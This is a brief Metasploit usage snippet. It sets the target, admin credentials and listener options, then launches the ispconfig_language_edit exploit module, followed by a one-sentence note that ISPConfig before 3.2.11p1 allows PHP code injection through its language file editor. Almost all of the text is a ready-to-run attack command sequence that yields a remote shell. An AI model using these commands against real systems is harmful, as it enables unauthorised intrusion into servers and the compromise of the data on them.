Metasploit-module

Metasploit Module

use exploit/linux/http/ispconfig_language_edit
set RHOSTS target.com
set USERNAME admin
set PASSWORD password123
set LHOST 127.0.0.1
set LPORT 4444
exploit

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.